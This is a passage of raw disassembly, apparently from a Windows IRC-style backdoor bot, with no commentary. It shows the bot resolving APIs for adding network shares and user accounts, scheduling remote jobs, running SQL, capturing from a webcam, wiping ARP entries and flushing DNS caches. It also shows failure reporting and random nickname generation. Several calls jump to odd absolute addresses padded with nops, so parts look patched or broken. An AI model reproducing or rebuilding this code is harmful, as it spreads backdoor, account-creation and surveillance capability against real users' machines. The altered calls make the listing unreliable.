		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB9AC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CBADC, eax
		call	esi
		cmp	dword_4CB9AC, ebx
		mov	dword_4CB93C, eax
		jz	short loc_40A25D
		cmp	dword_4CBADC, ebx
		jz	short loc_40A25D
		cmp	eax, ebx
		jnz	short loc_40A267
		jmp	short loc_40A25D
; ---------------------------------------------------------------------------


loc_40A252:				; CODE XREF: sub_409909+90Aj
		nop
		call	near ptr 2680E92h
		mov	dword_4CBB18, eax


loc_40A25D:				; CODE XREF: sub_409909+939j
					; sub_409909+941j ...
		mov	dword_4CBB14, 1


loc_40A267:				; CODE XREF: sub_409909+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A36E
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB918, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB8F0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB968, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB99C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CBAB4, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB950, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB8FC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB8EC, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB984, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CBA7C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CBA34, eax
		call	esi
		cmp	dword_4CB918, ebx
		mov	dword_4CB958, eax
		jz	short loc_40A379
		cmp	dword_4CB8F0, ebx
		jz	short loc_40A379
		cmp	dword_4CB968, ebx
		jz	short loc_40A379
		cmp	dword_4CB99C, ebx
		jz	short loc_40A379
		cmp	dword_4CBAB4, ebx
		jz	short loc_40A379
		cmp	dword_4CB950, ebx
		jz	short loc_40A379
		cmp	dword_4CB8FC, ebx
		jz	short loc_40A379
		cmp	dword_4CB8EC, ebx
		jz	short loc_40A379
		cmp	dword_4CB984, ebx
		jz	short loc_40A379
		cmp	dword_4CBA7C, ebx
		jz	short loc_40A379
		cmp	dword_4CBA34, ebx
		jnz	short loc_40A383
		jmp	short loc_40A379
; ---------------------------------------------------------------------------


loc_40A36E:				; CODE XREF: sub_409909+969j
		call	near ptr 2680E92h
		nop
		mov	dword_4CBB20, eax


loc_40A379:				; CODE XREF: sub_409909+A11j
					; sub_409909+A19j ...
		mov	dword_4CBB1C, 1


loc_40A383:				; CODE XREF: sub_409909+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B8
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB940, eax
		call	esi
		cmp	dword_4CB940, ebx
		mov	dword_4CBA1C, eax
		jz	short loc_40A3C3
		cmp	eax, ebx
		jnz	short loc_40A3CD
		jmp	short loc_40A3C3
; ---------------------------------------------------------------------------


loc_40A3B8:				; CODE XREF: sub_409909+A85j
		nop
		call	near ptr 2680E92h
		mov	dword_4CBB28, eax


loc_40A3C3:				; CODE XREF: sub_409909+AA7j
					; sub_409909+AADj
		mov	dword_4CBB24, 1


loc_40A3CD:				; CODE XREF: sub_409909+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A402
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CBAA0, eax
		call	esi
		cmp	dword_4CBAA0, ebx
		mov	dword_4CBA9C, eax
		jz	short loc_40A40D
		cmp	eax, ebx
		jnz	short loc_40A417
		jmp	short loc_40A40D
; ---------------------------------------------------------------------------


loc_40A402:				; CODE XREF: sub_409909+ACFj
		nop
		call	near ptr 2680E92h
		mov	dword_4CBB30, eax


loc_40A40D:				; CODE XREF: sub_409909+AF1j
					; sub_409909+AF7j
		mov	dword_4CBB2C, 1


loc_40A417:				; CODE XREF: sub_409909+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A476
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CBACC, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CBAC4, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CBA8C, eax
		call	esi
		cmp	dword_4CBACC, ebx
		mov	dword_4CB95C, eax
		jz	short loc_40A481
		cmp	dword_4CBAC4, ebx
		jz	short loc_40A481
		cmp	dword_4CBA8C, ebx
		jz	short loc_40A481
		cmp	eax, ebx
		jnz	short loc_40A48B
		jmp	short loc_40A481
; ---------------------------------------------------------------------------


loc_40A476:				; CODE XREF: sub_409909+B19j
		nop
		call	near ptr 2680E92h
		mov	dword_4CBB38, eax


loc_40A481:				; CODE XREF: sub_409909+B55j
					; sub_409909+B5Dj ...
		mov	dword_4CBB34, 1


loc_40A48B:				; CODE XREF: sub_409909+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4C0
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB990, eax
		call	esi
		cmp	dword_4CB990, ebx
		mov	dword_4CBA98, eax
		jz	short loc_40A4CB
		cmp	eax, ebx
		jnz	short loc_40A4D5
		jmp	short loc_40A4CB
; ---------------------------------------------------------------------------


loc_40A4C0:				; CODE XREF: sub_409909+B8Dj
		nop
		call	near ptr 2680E92h
		mov	dword_4CBB40, eax


loc_40A4CB:				; CODE XREF: sub_409909+BAFj
					; sub_409909+BB5j
		mov	dword_4CBB3C, 1


loc_40A4D5:				; CODE XREF: sub_409909+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A55E
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CBA60, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CBAAC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB9E8, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB9A0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CBA40, eax
		call	esi
		cmp	dword_4CBA60, ebx
		mov	dword_4CB9B0, eax
		jz	short loc_40A569
		cmp	dword_4CBAAC, ebx
		jz	short loc_40A569
		cmp	dword_4CB9E8, ebx
		jz	short loc_40A569
		cmp	dword_4CB9A0, ebx
		jz	short loc_40A569
		cmp	dword_4CBA40, ebx
		jz	short loc_40A569
		cmp	eax, ebx
		jnz	short loc_40A573
		jmp	short loc_40A569
; ---------------------------------------------------------------------------


loc_40A55E:				; CODE XREF: sub_409909+BD7j
		nop
		call	near ptr 2680E92h
		mov	dword_4CBB48, eax


loc_40A569:				; CODE XREF: sub_409909+C2Dj
					; sub_409909+C35j ...
		mov	dword_4CBB44, 1


loc_40A573:				; CODE XREF: sub_409909+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5A8
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB974, eax
		call	esi
		cmp	dword_4CB974, ebx
		mov	dword_4CBA54, eax
		jz	short loc_40A5B3
		cmp	eax, ebx
		jnz	short loc_40A5BD
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------


loc_40A5A8:				; CODE XREF: sub_409909+C75j
		call	near ptr 2680E92h
		nop
		mov	dword_4CBB50, eax


loc_40A5B3:				; CODE XREF: sub_409909+C97j
					; sub_409909+C9Dj
		mov	dword_4CBB4C, 1


loc_40A5BD:				; CODE XREF: sub_409909+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; CODE XREF: sub_401ACD+2511p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CBAE4, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A60D
		push	dword_4CBAE8
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A60D:				; CODE XREF: sub_40A5C5+1Aj
		cmp	dword_4CBAEC, esi
		jz	short loc_40A641
		push	dword_4CBAF0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A641:				; CODE XREF: sub_40A5C5+4Ej
		cmp	dword_4CBAF4, esi
		jz	short loc_40A675
		push	dword_4CBAF8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A675:				; CODE XREF: sub_40A5C5+82j
		cmp	dword_4CBAFC, esi
		jz	short loc_40A6A9
		push	dword_4CBB00
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6A9:				; CODE XREF: sub_40A5C5+B6j
		cmp	dword_4CBB04, esi
		jz	short loc_40A6DD
		push	dword_4CBB08
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6DD:				; CODE XREF: sub_40A5C5+EAj
		cmp	dword_4CBB0C, esi
		jz	short loc_40A711
		push	dword_4CBB10
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A711:				; CODE XREF: sub_40A5C5+11Ej
		cmp	dword_4CBB14, esi
		jz	short loc_40A745
		push	dword_4CBB18
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A745:				; CODE XREF: sub_40A5C5+152j
		cmp	dword_4CBB1C, esi
		jz	short loc_40A779
		push	dword_4CBB20
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A779:				; CODE XREF: sub_40A5C5+186j
		cmp	dword_4CBB24, esi
		jz	short loc_40A7AD
		push	dword_4CBB28
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7AD:				; CODE XREF: sub_40A5C5+1BAj
		cmp	dword_4CBB2C, esi
		jz	short loc_40A7E1
		push	dword_4CBB30
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7E1:				; CODE XREF: sub_40A5C5+1EEj
		cmp	dword_4CBB34, esi
		jz	short loc_40A815
		push	dword_4CBB38
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A815:				; CODE XREF: sub_40A5C5+222j
		cmp	dword_4CBB3C, esi
		jz	short loc_40A849
		push	dword_4CBB40
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A849:				; CODE XREF: sub_40A5C5+256j
		cmp	dword_4CBB44, esi
		jz	short loc_40A87D
		push	dword_4CBB48
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A87D:				; CODE XREF: sub_40A5C5+28Aj
		cmp	dword_4CBB4C, esi
		jz	short loc_40A8B1
		push	dword_4CBB50
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax


loc_40A897:				; DATA XREF: ___:00433224o
					; ___:00433268o ...
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A8B1:				; CODE XREF: sub_40A5C5+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6D4
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8DE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40A8DE:				; CODE XREF: sub_40A5C5+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5BC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA64
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A918
		push	[esp+arg_0]
		call	dword_4CBAA8
		test	eax, eax
		jnz	short loc_40A911
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A911:				; CODE XREF: sub_40A8F0+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A918:				; CODE XREF: sub_40A8F0+Dj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A919	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB940
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A927
		call	ecx

locret_40A927:				; CODE XREF: sub_40A919+Aj
		retn
sub_40A919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A928	proc near		; CODE XREF: sub_401ACD:loc_403F03p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CBAA0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9EE
		sub	ecx, 32h
		jz	loc_40A9E7
		sub	ecx, 48h
		jz	short loc_40A988
		sub	ecx, 6Eh
		jz	short loc_40A981


loc_40A96A:				; CODE XREF: sub_40A928+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8E8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40A9C8
; ---------------------------------------------------------------------------


loc_40A981:				; CODE XREF: sub_40A928+40j
		push	offset unk_42D8C4
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A988:				; CODE XREF: sub_40A928+3Bj
		push	[ebp+var_8]
		call	sub_41BEB5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BF70
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9B5
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CBAA0
		cmp	eax, edi
		jz	short loc_40A9EE
		jmp	short loc_40A96A
; ---------------------------------------------------------------------------


loc_40A9B5:				; CODE XREF: sub_40A928+79j
		push	offset unk_42D894


loc_40A9BA:				; CODE XREF: sub_40A928+5Ej
					; sub_40A928+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40A9C8:				; CODE XREF: sub_40A928+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415D38
		pop	ecx


loc_40A9D8:				; CODE XREF: sub_40A928+C8j
					; sub_40A928+DCj
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A9E7:				; CODE XREF: sub_40A928+32j
		push	offset unk_42D864
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A9EE:				; CODE XREF: sub_40A928+29j
					; sub_40A928+89j
		cmp	[esi], edi
		jbe	short loc_40A9D8
		lea	ebx, [esi+4]


loc_40A9F5:				; CODE XREF: sub_40A928+DAj
		push	ebx
		call	dword_4CBA9C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9F5
		jmp	short loc_40A9D8
sub_40A928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA06	proc near		; CODE XREF: sub_401ACD+21EDp
					; sub_401ACD+233Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9C8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CBB54
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C266
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA5F	proc near		; CODE XREF: sub_413694+24Cp
					; sub_413694+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA88
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AA7B:				; CODE XREF: sub_40AA5F+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA7B
		pop	edi
		jmp	short loc_40AA8C
; ---------------------------------------------------------------------------


loc_40AA88:				; CODE XREF: sub_40AA5F+Aj
		mov	edx, [esp+4+arg_0]


loc_40AA8C:				; CODE XREF: sub_40AA5F+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA96
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AA96:				; CODE XREF: sub_40AA5F+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAAC	proc near		; CODE XREF: sub_40AE84+49p
					; DATA XREF: ___:off_42D930o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 2690E78h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D9AC[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB14


loc_40AAEE:				; CODE XREF: sub_40AAAC+66j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A8
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AAEE


loc_40AB14:				; CODE XREF: sub_40AAAC+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAAC	endp

; ---------------------------------------------------------------------------
		db 56h,	57h, 90h
		dd 286357E8h, 91E85002h, 8B000117h, 0C710247Ch,	913C2404h
		dd 0C4680042h, 6A0042CCh, 21E8571Ch, 33000118h,	10C483F6h
		dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h
		dd 0B8A86857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h
		dd 429098h, 0C78BDA7Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB77	proc near		; CODE XREF: sub_401ACD+68EEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 2690E78h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ABBA


loc_40ABA4:				; CODE XREF: sub_40AB77+41j
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ABA4


loc_40ABBA:				; CODE XREF: sub_40AB77+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 2690E78h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431604
		push	eax
		push	esi
		nop
		call	near ptr 26C0000h
		movsx	eax, byte_431604
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AC00:				; CODE XREF: ___:0040AC0Bj
		cmp	eax, ecx
		jnz	short loc_40AC07
		mov	[ebp-4], edx


loc_40AC07:				; CODE XREF: ___:0040AC02j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AC00
		push	61h
		pop	ecx


loc_40AC10:				; CODE XREF: ___:0040AC1Bj
		cmp	eax, ecx
		jnz	short loc_40AC17
		mov	[ebp-4], edx


loc_40AC17:				; CODE XREF: ___:0040AC12j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC10
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AC5C


loc_40AC36:				; CODE XREF: ___:0040AC5Aj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A8
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AC36


loc_40AC5C:				; CODE XREF: ___:0040AC34j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 2690E78h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26D0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431608
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ACD1


loc_40ACAB:				; CODE XREF: ___:0040ACCFj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A8
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACAB


loc_40ACD1:				; CODE XREF: ___:0040ACA9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43DBD8
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26D0501h
		call	near ptr 2690E78h
		nop
		push	eax
		call	sub_41C2B8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD5B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD3B
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD2B
		mov	esi, offset dword_431630


loc_40AD2B:				; CODE XREF: ___:0040AD24j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD97
		mov	esi, offset dword_43162C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD3B:				; CODE XREF: ___:0040AD1Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD4B
		mov	esi, offset dword_431628
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD4B:				; CODE XREF: ___:0040AD42j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD92
		mov	esi, offset dword_431624
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD5B:				; CODE XREF: ___:0040AD12j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD92
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD74
		mov	esi, offset dword_431620
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD74:				; CODE XREF: ___:0040AD6Bj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD84
		mov	esi, offset dword_43161C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


